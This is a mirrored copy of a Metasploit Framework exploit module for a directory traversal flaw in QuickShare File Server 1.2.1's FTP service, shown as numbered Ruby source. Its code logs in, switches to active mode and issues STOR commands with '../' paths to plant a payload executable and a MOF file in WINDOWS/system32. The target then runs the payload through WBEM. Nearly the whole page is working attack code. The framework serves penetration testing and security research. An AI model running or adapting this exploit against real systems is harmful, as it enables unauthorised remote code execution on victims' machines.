Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/ftp/quickshare_traversal_write.rb
19778 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::Ftp
10
include Msf::Exploit::Remote::TcpServer
11
include Msf::Exploit::EXE
12
include Msf::Exploit::WbemExec
13
14
def initialize(info = {})
15
super(
16
update_info(
17
info,
18
'Name' => "QuickShare File Server 1.2.1 Directory Traversal Vulnerability",
19
'Description' => %q{
20
This module exploits a vulnerability found in QuickShare File Server's FTP
21
service. By supplying "../" in the file path, it is possible to trigger a
22
directory traversal flaw, allowing the attacker to read a file outside the
23
virtual directory. By default, the "Writable" option is enabled during account
24
creation, therefore this makes it possible to create a file at an arbitrary
25
location, which leads to remote code execution.
26
},
27
'License' => MSF_LICENSE,
28
'Author' => [
29
'modpr0be', # Discovery, PoC
30
'sinn3r' # Metasploit
31
],
32
'References' => [
33
['OSVDB', '70776'],
34
['EDB', '16105'],
35
['URL', 'http://www.quicksharehq.com/blog/quickshare-file-server-1-2-2-released.html'],
36
['URL', 'http://www.digital-echidna.org/2011/02/quickshare-file-share-1-2-1-directory-traversal-vulnerability/'],
37
['ATT&CK', Mitre::Attack::Technique::T1059_COMMAND_AND_SCRIPTING_INTERPRETER],
38
['ATT&CK', Mitre::Attack::Technique::T1068_EXPLOITATION_FOR_PRIVILEGE_ESCALATION],
39
['ATT&CK', Mitre::Attack::Technique::T1105_INGRESS_TOOL_TRANSFER]
40
],
41
'Payload' => {
42
'BadChars' => "\x00"
43
},
44
'DefaultOptions' => {
45
'EXITFUNC' => 'thread'
46
},
47
'Platform' => 'win',
48
'Targets' => [
49
['QuickShare File Server 1.2.1', {}]
50
],
51
'Stance' => Msf::Exploit::Stance::Aggressive,
52
'Privileged' => false,
53
'DisclosureDate' => '2011-02-03',
54
'DefaultTarget' => 0,
55
'Notes' => {
56
'Reliability' => UNKNOWN_RELIABILITY,
57
'Stability' => UNKNOWN_STABILITY,
58
'SideEffects' => UNKNOWN_SIDE_EFFECTS
59
}
60
)
61
)
62
63
register_options(
64
[
65
# Change the default description so this option makes sense
66
OptPort.new('SRVPORT', [true, 'The local port to listen on for active mode', 8080])
67
]
68
)
69
end
70
71
def check
72
connect
73
disconnect
74
75
if banner =~ /quickshare ftpd/
76
return Exploit::CheckCode::Detected
77
else
78
return Exploit::CheckCode::Safe
79
end
80
end
81
82
def on_client_connect(cli)
83
peer = "#{cli.peerhost}:#{cli.peerport}"
84
85
case @stage
86
when :exe
87
print_status("Sending executable (#{@exe.length.to_s} bytes)")
88
cli.put(@exe)
89
@stage = :mof
90
91
when :mof
92
print_status("Sending MOF (#{@mof.length.to_s} bytes)")
93
cli.put(@mof)
94
end
95
96
cli.close
97
end
98
99
def upload(filename)
100
select(nil, nil, nil, 1)
101
102
peer = "#{rhost}:#{rport}"
103
print_status("Trying to upload #{::File.basename(filename)}")
104
105
# We can't use connect_login, because it cannot determine a successful login correctly.
106
# For example: The server actually returns a 503 (Bad Sequence of Commands) when the
107
# user has already authenticated.
108
conn = connect(false, datastore['VERBOSE'])
109
110
res = send_user(datastore['FTPUSER'], conn)
111
112
if res !~ /^(331|2)/
113
fail_with(Failure::BadConfig, "The server rejected our username: #{res.to_s}")
114
end
115
116
res = send_pass(datastore['FTPPASS'], conn)
117
if res !~ /^(2|503)/
118
fail_with(Failure::BadConfig, "The server rejected our password: #{res.to_s}")
119
end
120
121
# Switch to binary mode
122
print_status("Set binary mode")
123
send_cmd(['TYPE', 'I'], true, conn)
124
125
# Prepare active mode: Get attacker's IP and source port
126
src_ip = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address("50.50.50.50") : datastore['SRVHOST']
127
src_port = datastore['SRVPORT'].to_i
128
129
# Prepare active mode: Convert the IP and port for active mode
130
src_ip = src_ip.gsub(/\./, ',')
131
src_port = "#{src_port / 256},#{src_port.remainder(256)}"
132
133
# Set to active mode
134
print_status("Set active mode \"#{src_ip},#{src_port}\"")
135
send_cmd(['PORT', "#{src_ip},#{src_port}"], true, conn)
136
137
# Tell the FTP server to download our file
138
send_cmd(['STOR', filename], false, conn)
139
140
disconnect(conn)
141
end
142
143
def exploit
144
trigger = '../../../../../../../../'
145
exe_name = "#{trigger}WINDOWS/system32/#{rand_text_alpha(rand(10) + 5)}.exe"
146
mof_name = "#{trigger}WINDOWS/system32/wbem/mof/#{rand_text_alpha(rand(10) + 5)}.vbs"
147
@mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
148
@exe = generate_payload_exe
149
@stage = :exe
150
151
begin
152
t = framework.threads.spawn("reqs", false) {
153
begin
154
# Upload our malicious executable
155
u = upload(exe_name)
156
157
# Upload the mof file
158
upload(mof_name) if u
159
rescue ::Exception => e
160
print_error e.message
161
cleanup
162
end
163
}
164
super
165
ensure
166
t.kill
167
end
168
end
169
end
170
171